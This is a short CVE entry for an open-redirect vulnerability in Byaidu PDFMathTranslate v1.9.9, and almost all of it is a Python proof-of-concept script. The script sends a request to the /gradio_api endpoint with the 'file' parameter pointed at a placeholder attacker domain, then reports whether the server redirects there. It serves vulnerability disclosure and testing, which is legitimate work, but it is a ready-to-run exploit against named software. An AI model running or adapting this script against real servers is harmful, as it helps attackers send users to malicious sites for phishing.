CVE-2025-50736 Byaidu PDFMathTranslate 开放重定向漏洞

import requests # CVE-2025-50736 Open Redirect PoC # Target: Byaidu PDFMathTranslate v1.9.9 # Endpoint: /gradio_api # Parameter: file target_url = "http://target-server/gradio_api" malicious_redirect = "http://attacker-controlled-site.com" # Construct the malicious URL with open redirect payload params = { "file": malicious_redirect } # Send request to trigger redirect response = requests.get(target_url, params=params, allow_redirects=False) # Check if redirect header is present if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') print(f"[+] Open Redirect Confirmed!") print(f"[+] Redirects to: {location}") if malicious_redirect in location: print("[+] Vulnerability Confirmed: Redirects to attacker-controlled domain") else: print("[-] No redirect detected")